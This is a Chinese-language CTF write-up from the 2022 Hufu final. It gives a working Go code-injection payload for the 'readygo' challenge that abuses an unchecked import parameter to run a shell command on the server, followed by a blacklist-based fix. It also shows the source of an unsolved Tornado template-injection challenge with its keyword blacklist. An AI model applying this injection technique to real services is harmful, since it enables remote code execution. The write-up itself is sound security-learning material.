虎符决赛-2022-WP

  1. readygo
    1. attack
    2. fix
  2. 龙卷风

​ 期待已久的虎符决赛终于来了,本来是可以去福州旅游的,没想到主办方鸽了几个月之后直接改线上赛了!

​ 决赛主要分为两个部分,分别是AWDP和PKS。实在不懂什么芯片的我们只能做做AWDP环节了,再加上这次我们没有pwn手吃了比较大的亏。好在修复成功了两道题和攻击成功一道题,靠着每轮一点点加分赶了上来不至于垫底。

readygo

​ 这是一道go语言编写的题目,go题接触的比较少一开始拿到的时候有点慌。好在考的并不是语言特性,而是比较基础的代码注入。

源码主要文件目录如下:

1
2
3
4
5
6
7
|——goeval@v0.1.1
| |——eval.go
| |——eval_test.go
|——html
| |——index.html
| |——result.html
|——main.go

首先看看main.go中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
eval "github.com/PaulXu-cn/goeval"
"github.com/gin-gonic/gin"
"regexp"
)

func main() {
r := gin.Default()
r.LoadHTMLFiles("html/index.html", "html/result.html")
r.GET("/", func(c *gin.Context) {
c.Header("server", "Gin")
c.HTML(200, "index.html", "")
})
r.POST("/parse", func(c *gin.Context) {
expression := c.DefaultPostForm("expression", "666")
Package := c.DefaultPostForm("Package", "fmt")
match, _ := regexp.MatchString("([a-zA-Z]+)", expression)
if match {
c.String(200, "Hacker????")
return
} else {
if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
c.HTML(200, "result.html", gin.H{"result": string(res)})
} else {
c.HTML(200, "result.html", err.Error())
}
}
})
r.Run()
}

从main函数中我们就可以大致了解这个web应用的主要结构和业务流程。html目录放置的是前端页面,访问index.html是一个提交计算表达式的表单,也就是一个计算器,表单提交后在服务器中由main.go中的代码进行处理,main.go会调用eval.go中的模块,而eval_test.go则是eval.go中模块的使用实例,main.go计算完之后将结果返回在result.html页面显示。

attack

​ 从代码中可以看到,我们计算表达式会提交到/parse路进行进行处理,首先会对expression进行检查,拒绝对含有字母的表达式进行下一步处理,而对Package则并没有做任何检查。随后将expression与代码拼接后跟Package一起传入eval.go中的Eval()函数进行处理,以下是eval.go代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package goeval

import (
"fmt"
"go/format"
"math/rand"
"os"
"os/exec"
"strings"
"time"
)

const (
letterBytes = "abcdefghijklmnopqrstuvwxyz"
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
)

var (
dirSeparator = "/"
tempDir = os.TempDir()
src = rand.NewSource(time.Now().UnixNano())
)

// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/
func RandString(n int) string {
b := make([]byte, n)
// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = src.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main

%s

%s

func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
//fmt.Printf("%s", fullCode)
var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
// fmt.Println(string(codeBytes))
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
res = codeBytes
return res, err
}

Eval()函数主要做的事情是先对参数import进行分割,即对要导入的包进行格式化处理,随后要导入的包代码、变量声明代码、main函数主体代码插入到模板tmp中,再将这部分代码生成go文件并调用系统命令进行执行,最终将执行结果和错误返回。tmp模板插入相关代码后效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

//这里是包导入代码,对应变量是importStr
//格式为:
//import (
// "fmt"
//)

//这里是变量声明代码,对应参数defineCode

func main() {
//这里是main函数的主体代码,对应参数为code
}

其中,importStr和code两个变量都是可控的,分别对应与Package和expression两个参数,也就是说我们可以通过控制Package和expression来将我们的恶意代码写入到这个文件中并在服务器上执行从而成功RCE。可以注意到,Package的内容并无限制,而expression则不能含有字母,要使代码成功执行必须将恶意代码写入到main函数中。这个时候就会想到可以控制Package这个参数来重新写一个main函数,然后再利用多行注释符将后续代码注释掉,从而实现代码注入。值得注意的是,go语言对语法要求较为严格,多行注释符必须要 /* 和 */ 成对出现,因此我们还需要控制expression将多行注释符和最后的右大括号 } 闭合起来,参数构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var expression = "*/_1("

var Package = `"fmt"
"os/exec"
)

func main(){
cmd:=exec.Command("ls","/")
res,err:=cmd.CombinedOutput()
fmt.Printf("%s",res)
fmt.Printf("%s",err)
}
func _1(){}
func a(){/* 1`

嵌入到tmp代码模板之后效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

import (
"fmt"
"os/exec"
)

func main() {
cmd := exec.Command("ls", "/")
res, err := cmd.CombinedOutput()
fmt.Printf("%s", res)
fmt.Printf("%s", err)
}
func _1() {}
func a() { /* "1"
)



func main() {
fmt.Print(*/_1()
}

​ 这里有几个小细节需要注意一下,第一就是Package注入的代码中不能含有空格,否则根据处理函数看,Package用空格分隔开后第二部分会被加上双引号,从而导致注入失败,这里可以用制表符代替空格,第二是为了闭合掉大括号和小括号,还需要在Package的最后定义函数来闭合最后的大括号并在函数中调用另一个函数来闭合小括号,因为闭合小括号需要控制expression来完成,因此这里的要定义函数名不含字母的函数,可以用下划线和数字来进行定义,在go中是允许这种定义方式的。

​ 至此,我们就完成了对payload的构造,只需要将其url编码后发送即可。

fix

​ 从上面的分析中我们可以看到漏洞出现的原因是对于参数检查不够严格,导致了前后文配合进行代码的注入,前文的注入离不开后文的括号闭合,只要我们将这个条件破坏即可抵抗代码注入攻击,从而修复成功。因此我们可以对expression的检查方法进行加固,将(_符号加入黑名单即可,而/*因为他们是四则运算符,将其禁用会影响正常功能,从而导致服务异常,因此不能加入黑名单,但是已经足够了,如果还不放心,保险一点可以将出去四则运算的其他标点符号加到黑名单中。

龙卷风

​ 这道题是一道python环境下tornado框架的常规模板注入,题目中对注入点进行了惨无人道的过滤,黑名单非常长,感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import tornado.ioloop, tornado.web, tornado.options, os

settings = {'static_path': os.path.join(os.getcwd(), 'static')}


class IndexHandler(tornado.web.RequestHandler):

def get(self):
self.render("static/index.html")

def post(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
msg = self.get_argument('tornado', '龙卷风摧毁停车场')
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help',
'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr',
'method', 'super', "flag", "file", "decode","request","builtins","|","&"]
black_symbol = ["__", "'", '"', "$", "*", ",", ".","\\","0x","0o","/","+","*"]
black_keyword = ['or', 'while']
black_rce = ['render', 'module', 'include','if', 'extends', 'set', 'raw', 'try', 'except', 'else', 'finally',
'while', 'for', 'from', 'import', 'apply',"True","False"]
if(len(msg)>1500) :
self.render('static/hack.html')
return
bans = black_func + black_symbol + black_keyword + black_rce
for ban in bans:
if ban in msg:
self.render('static/hack.html')
return
with open('static/user.html', 'w') as (f):
f.write(
'<html><head><title></title></head><body><center><h1>你使用 %s 摧毁了tornado</h1></center></body></html>\n' % msg)
f.flush()
self.render('static/user.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()


def make_app():
return tornado.web.Application([('/', IndexHandler)], **settings)


if __name__ == '__main__':
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
print('start')

能用的符号就只剩下#!@%^()_=[]{}:;?><-~`,直接给我整不会了,蹲一波wp。

至于修补,那就是将恶心进行到底,把剩下的这些符号也加到黑名单中!!!


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com